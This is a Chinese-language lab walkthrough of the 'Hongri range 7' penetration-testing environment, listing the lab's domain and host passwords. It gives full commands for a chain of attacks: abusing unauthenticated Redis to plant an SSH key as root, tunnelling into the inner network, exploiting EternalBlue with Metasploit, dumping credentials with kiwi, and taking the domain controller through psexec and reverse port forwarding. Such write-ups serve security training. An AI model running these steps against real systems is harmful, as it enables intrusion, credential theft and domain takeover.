红日靶场7
原创
MyIsme
MyIsme
YunSee-Sec
2026年7月2日 01:48
湖北
在小说阅读器读本章
去阅读
红日靶场7
五个靶机
DMZ区IP段为192.168.0.1/24 桥接 （Ubuntu web1 192.168.0.116）
第二层IP段为192.168.52.1/24 Vmnet1 仅主机（Ubuntu web1、Ubuntu web2、Windows7 x64 PC1）
第三层P段为192.168.93.1/24 Vmnet2 仅主机（Windows7 x64 PC1、Windows7 x64 PC2、Windows Server 2012）
环境初始化与服务启动
1. DMZ 区 (Ubuntu)
启动 Redis 与 Nginx 服务，并清空 iptables 规则以避免防火墙拦截：
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
2. 第二层网络 (Ubuntu)
启动 Docker 守护进程，并拉起指定的业务容器：
sudo service docker start
sudo docker start 8e172820ac78
3. 第三层网络 (Windows 7 PC1)
执行通达 OA 初始化脚本以启动 OA 服务：
C:\\MYOA\\bin\\AutoConfig.exe
关闭防火墙
域用户账户和密码如下：
DC:
Administrator：Whoami2021
whoami：Whoami2021
windows7 PC1:
bunny：Bunny2021
windows7 PC2：
moretz：Moretz2021
Ubuntu 1：
web：web2021
Ubuntu 2：
ubuntu：ubuntu
通达 OA 账户：
admin：admin657260
信息收集
看到开放了4个端口
22-ssh、6379-redis、81-laravel、80-nginx
尝试访问80进不去，81，可以进去并且还扫到了Laravel RCE (CVE-2021-3129)漏洞
and Redis 未授权访问漏洞
通过无影扫描也是一样,但不知啥扫不出这个redis漏洞
这里尝试通过 Redis未授权访问漏洞进行测试
redis-cli -h 192.168.0.116 -p 6379
直接就连接上了，连密码都没有，版本是 2.8.17
简单信息收集一下
可以看到当前 redis 数据文件存放在 \"/home/web\"，存放的文件名为 dump.db
拿到未授权，直接考虑写文件Redis 能改保存路径，刚好用来写 SSH 公钥
操作很简单：dir 指向 /root/.ssh，dbfilename 改成 authorized\_keys，写入公钥后 save
这里有个坑：Redis 存盘会带 REDIS0008 这种二进制头，直接写会导致 SSH 解析报错解决办法是在公钥前后多加几个换行符（\
），SSH 逐行读取时会自动跳过乱码，只认中间干净的公钥
ssh-keygen #生成ssh私钥
cat /root/.ssh/id_ed25519.pub #查看私钥
config set dir /root/.ssh #更改保存路径
config set dbfilename authorized_keys #更改文件名
SET key \"\
\
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKVa7dtp9YddqcMaRvjJXIWO+X1o7iUzZfwA1wbeEIBz root@my\
\
\" #写入私钥
save #保存
ssh [email protected]
whoami
直接就通过root账户进来了
简单信息收集一下，Ubuntu18.04.2 内网：192.168.52.10/24
因为已经免密了，直接scp进行传输搭建内网隧道代理流量转发 + fscan扫描 等工具
本地开启8888端口监听，切换到0对话节点，开启7777端口流量转发
配置代理插件
配置 kali socks
/etc/proxychains4.conf
进行fscan内网扫描
./fscan -h 192.168.52.0/24
以 192.168.52.10 为跳板探测 192.168.52.0/24 内网，排除网关与当前主机后，发现 2 台核心目标：
192.168.52.20 (Linux)
开放 SSH (22端口)，尝试爆破未发现弱口令
192.168.52.30 (Win7 / Server 2008 R2) —— 关键横向跳板
常规服务：开放 Nginx (8080)、POP3 (110)、SMB (445，无弱口令)
最关键的是
NetInfo 192.168.52.30:135 -> 192.168.93.20
通过 135 端口 (NetInfo) 发现其为双网卡主机，存在另一张网卡 IP 192.168.93.20，成功定位到第二层内网 192.168.93.0/24
直接干 192.168.52.30 既然开放了445 又可能是 Win7 / Server 2008 R2 那么肯定存在经典老洞 永恒之蓝
msfconsole启动
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set proxies socks5:192.168.0.111:7777
set payload windows/x64/meterpreter/bind_tcp
set RhOSTS 192.168.52.30
set lport 443
run
也是成功进来了，拿到了system权限
简单信息收集一下
证实了多张网卡且有第三层内网的存在 192.168.93.0/24
是台Windows 7 专业版 域为 whoamianony.org 域内有三台主机 DC、PC1、PC2
DC ip 为 192.168.93.30、PC2 ip为 192.168.93.40
随机挑选一个 常见且用有NT AUTHORITY\SYSTEM的x64位的进程进行进行迁移
migrate 488
load kiwi
迁移后打开猕猴桃查看下明文凭证和hash等
成功抓取到域管理凭证
creds_all
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WHOAMIANONY.ORG Whoami2021
添加session 1 然后把 192.168.93.0/24 的路由加到 session 1 上，通过psexec进行横向移动：
sessions 1
background
route add 192.168.93.0 255.255.255.0 1
use exploit/windows/smb/psexec
set RHOSTS 192.168.93.30
set SMBUser Administrator
set SMBPass Whoami2021
set SMBDomain whoamianony.org
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 443
run
好像失败了，尝试在PC1 上加反向端口转发
sessions -i 1
portfwd add -R -L 0.0.0.0 -l 10086 -p 10086 # PC1 监听 10086，转发回攻击机 10086
background #挂后台
set lport 10086 # msf handler 监听 10086
set lhost 192.168.93.20 # payload 回连目标设成 PC1 的 93 段 IP
成功进入
拿到双网卡 PC1 之后，第三层 192.168.93.0/24 的路由已经通过 route add 搞定了，msf 能把攻击包发到 DC 但问题是 DC 一旦执行了 payload，它要回连到我的 msf listener DC 在 93 段，攻击机在 0 段，两边不通，不能直连，所以中间需要 PC1 做一趟端口转发
portfwd add -R 是 msf 的反向转发模式
-p 10086 让 PC1 监听 10086 端口，-l 10086 告诉它收到的连接全部通过 session 隧道吐回攻击机的 10086 端口
DC → 192.168.93.20:10086 (PC1 监听)
↓
PC1 通过 msf 隧道转发
↓
攻击机 127.0.0.1:10086 (msf 收到)
拿下域控
思路：
攻击机 → Redis未授权 → DMZ Ubuntu → 内网隧道 → PC1 (MS17-010)
↓
DC (psexec + 域管凭据)
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论